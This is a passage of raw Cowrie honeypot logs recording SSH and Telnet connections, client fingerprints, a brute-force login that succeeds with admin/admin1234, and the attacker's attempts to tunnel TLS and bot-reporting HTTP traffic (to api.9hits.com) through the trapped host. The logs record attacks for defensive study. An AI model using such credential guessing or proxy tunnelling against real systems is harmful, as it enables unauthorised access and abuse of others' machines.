2\\xc7\\xe6\\rK:a^c\\xbe\\xd0\\xec\\xf4\\x1b\\xfe\\xef6E\\xab\\xce\\xcf\\x95\\x8b\\x8d\\xf4Vx0\\xf8\\x9f{\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03w\\x9ci\\xa7*\\xbcw\\xd0\\xc0\\x0b\\xb4A\\x98_f|I\\xbbuz\\xc6\\xd4_@\\x06\\x8c\\x95\\xb6|\\xdf\\x130 \\x0fS\\xca\\xb4\\xa4\\xa1\\x06\\xf5\\xcfa\\xb1\\x08\\x83\\xd7k\\x1a\\x1e,\\xcfdeB\\x87l\\x8au1\\x85\\xb1\\xc4\\xc6\\xf8\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 2\\xc7\\xe6\\rK:a^c\\xbe\\xd0\\xec\\xf4\\x1b\\xfe\\xef6E\\xab\\xce\\xcf\\x95\\x8b\\x8d\\xf4Vx0\\xf8\\x9f{\\x0b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:51.115402Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35524,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae6112d1db2f","protocol":"ssh","message":"New connection: 51.250.105.222:35524 (10.17.0.5:22) [session: ae6112d1db2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:55.758263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:55.763653Z","src_ip":"51.250.105.222","session":"ae6112d1db2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:55.888647Z","src_ip":"51.250.105.222","session":"ae6112d1db2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:56.263928Z","src_ip":"51.250.105.222","session":"ae6112d1db2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":36696,"dst_ip":"159.203.135.109","dst_port":23,"session":"47996cc8831f","protocol":"telnet","message":"New connection: 172.81.62.90:36696 (159.203.135.109:23) [session: 47996cc8831f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:57.277763Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:57.390849Z","src_ip":"51.250.105.222","session":"ae6112d1db2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.9","message":"Connection lost after 32.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:28:58.720713Z","src_ip":"173.208.188.210","session":"541be03d4aa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54392,"dst_ip":"10.17.0.5","dst_port":22,"session":"9936103b0eec","protocol":"ssh","message":"New connection: 123.27.168.40:54392 (10.17.0.5:22) [session: 9936103b0eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:02.540514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:02.544603Z","src_ip":"123.27.168.40","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:02.851037Z","src_ip":"123.27.168.40","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:04.056655Z","src_ip":"123.27.168.40","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49130,"dst_ip":"159.203.135.109","dst_port":23,"session":"56ba87a40122","protocol":"telnet","message":"New connection: 128.199.8.54:49130 (159.203.135.109:23) [session: 56ba87a40122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:04.439915Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:04.542492Z","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:04.741615Z","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:04.789521Z","src_ip":"123.27.168.40","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xec\\n)e\\x193\\xa7(\\xda\\x9d\\xf4\\xf6_r\\x9b0\\xb2\\x13\\x18\\x11\\xa3\\xdf\\xdb\\xdf|\\xd7\\x7f\\x99ZH\\xe16 ;(\\xe6%r@gF\\x97h3s\\xd9\\xa5b,\\xb7Z=}\\x15\\xae\\xc7\\x83\\xcb\\xee\\xe6\\xb7\\xce\\xdc\\xc1'\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x82\\x7fo\\x9b\\xb16h\\xbe|\\xde\\x11J&\\xbd\\xd0\\xcc'\\xc4\\x12V[C\\xe4\\x83\\xb9\\x12\\xc2k\\x14\\xeb\\xb9|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xec\\n)e\\x193\\xa7(\\xda\\x9d\\xf4\\xf6_r\\x9b0\\xb2\\x13\\x18\\x11\\xa3\\xdf\\xdb\\xdf|\\xd7\\x7f\\x99ZH\\xe16 ;(\\xe6%r@gF\\x97h3s\\xd9\\xa5b,\\xb7Z=}\\x15\\xae\\xc7\\x83\\xcb\\xee\\xe6\\xb7\\xce\\xdc\\xc1'\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x82\\x7fo\\x9b\\xb16h\\xbe|\\xde\\x11J&\\xbd\\xd0\\xcc'\\xc4\\x12V[C\\xe4\\x83\\xb9\\x12\\xc2k\\x14\\xeb\\xb9|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:04.792463Z","src_ip":"123.27.168.40","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:05.272390Z","src_ip":"123.27.168.40","session":"9936103b0eec","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; X96mini Build/NHG47L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=fmNVI3M%2BfTU8L3lPSHh4aA%3D%3DVbsIwyhK9oXgbCJ2A%2BV9Yl6%2FHy3OjyE%2FTEkYjko6TFq0%2Fgsa8GNzvh%2FGb0lGJwNBZuWLsCOA1%2Bbow5Sv5L1HbSc8m6w7cKmULQt49EKGn7mfIqn9asDr8ngZFiGpb%2FnBa9sBR%2BN7Pj7iVVS9r7Js%2FZGJ8LBCwIP%2F%2BvOfaaW1hcEVOSd3V6hNkQjxpMz3eDWNZZ4Mq1scmCyJCjpq3UohcPkKRZ5JDu0xKHQZOA8mBdVq5U2b7eq4yv3ntfa%2BJizwG2iK6RjcRwFyJfb8wHlZDYN3gr5bN8GbC21fB%2FxsH%2BB5J70%2FJ84rq2p6np51TcJ7vm9iqvQQYmCg6qwpoOUDPVgvJr0ydr4NcBfo%2F3A5lPUvnvMJrTmAvescVAiQZhhoRkz%2BXHMk6wTBdMiET8m9ndi1CHlxxImPyqP5Kor26v1jhMgTN%2FmtIDGstZAj%2Bib6dRxrpqTRGKGFeMfJNE%2FLJibSUV%2BrlH0hFiQW90KwsKIkDhByH1OdNSpw2zjZ88G3lb1sDcZZlryl4aHlJMOQE5MMMX8XqSy7BodxdMpvI7L8eXdbZvf0g4hlizDkPFRX9durxTfDhdR%2Bx%2BI%2B70QgO9S50uE7P8lw634MWyAR%2B5mCqmLDLsz7qyYp2NeuKpp6uZ4x13yN80L8%2BqpYT%2BYh97r1Npi2XJJxfPEAgR%2FaXL1HqxyALR712haxFMxb4%2BxFyMhUQbt7ANMdfUn%2FEUXw6xQNzFZ0IRmNtYn6s7dHXWcB7CQgA2PTjqiWprxkEKu4hwQIBS4Vohi71mUgu%2Fe1Je%2FPh18kOkho9FjUa%2FsMOeesMS5rQIdI5b56wMGi7kmdffdhiqWBzYmPnsoY0cqaPI01uiZHk165oMkuMZiTELqgXv%2BbFdvvpHCO7wOrgv6nsSstv9Y8AOQPQJbF1K62YHRQZXOTYKGHQGblIOmRh41OoOgqG7xnUJrQYGh%2FhkAoF09wdWJI7UrkMSNisGTHsEMFtlGXu9TsXlt6AGkTsoY9bBIWUqf5faoCL2BNHrJltv2UpkQH6iEaJPNLw8muUScfM8lIfgk1kLnWgVXpyCFFV3RZSdEkyuFg7Wj4czti'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1190\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 7.1.2; X96mini Build/NHG47L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=fmNVI3M%2BfTU8L3lPSHh4aA%3D%3DVbsIwyhK9oXgbCJ2A%2BV9Yl6%2FHy3OjyE%2FTEkYjko6TFq0%2Fgsa8GNzvh%2FGb0lGJwNBZuWLsCOA1%2Bbow5Sv5L1HbSc8m6w7cKmULQt49EKGn7mfIqn9asDr8ngZFiGpb%2FnBa9sBR%2BN7Pj7iVVS9r7Js%2FZGJ8LBCwIP%2F%2BvOfaaW1hcEVOSd3V6hNkQjxpMz3eDWNZZ4Mq1scmCyJCjpq3UohcPkKRZ5JDu0xKHQZOA8mBdVq5U2b7eq4yv3ntfa%2BJizwG2iK6RjcRwFyJfb8wHlZDYN3gr5bN8GbC21fB%2FxsH%2BB5J70%2FJ84rq2p6np51TcJ7vm9iqvQQYmCg6qwpoOUDPVgvJr0ydr4NcBfo%2F3A5lPUvnvMJrTmAvescVAiQZhhoRkz%2BXHMk6wTBdMiET8m9ndi1CHlxxImPyqP5Kor26v1jhMgTN%2FmtIDGstZAj%2Bib6dRxrpqTRGKGFeMfJNE%2FLJibSUV%2BrlH0hFiQW90KwsKIkDhByH1OdNSpw2zjZ88G3lb1sDcZZlryl4aHlJMOQE5MMMX8XqSy7BodxdMpvI7L8eXdbZvf0g4hlizDkPFRX9durxTfDhdR%2Bx%2BI%2B70QgO9S50uE7P8lw634MWyAR%2B5mCqmLDLsz7qyYp2NeuKpp6uZ4x13yN80L8%2BqpYT%2BYh97r1Npi2XJJxfPEAgR%2FaXL1HqxyALR712haxFMxb4%2BxFyMhUQbt7ANMdfUn%2FEUXw6xQNzFZ0IRmNtYn6s7dHXWcB7CQgA2PTjqiWprxkEKu4hwQIBS4Vohi71mUgu%2Fe1Je%2FPh18kOkho9FjUa%2FsMOeesMS5rQIdI5b56wMGi7kmdffdhiqWBzYmPnsoY0cqaPI01uiZHk165oMkuMZiTELqgXv%2BbFdvvpHCO7wOrgv6nsSstv9Y8AOQPQJbF1K62YHRQZXOTYKGHQGblIOmRh41OoOgqG7xnUJrQYGh%2FhkAoF09wdWJI7UrkMSNisGTHsEMFtlGXu9TsXlt6AGkTsoY9bBIWUqf5faoCL2BNHrJltv2UpkQH6iEaJPNLw8muUScfM8lIfgk1kLnWgVXpyCFFV3RZSdEkyuFg7Wj4czti'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:29:05.275599Z","src_ip":"123.27.168.40","session":"9936103b0eec","protocol":"ssh"}
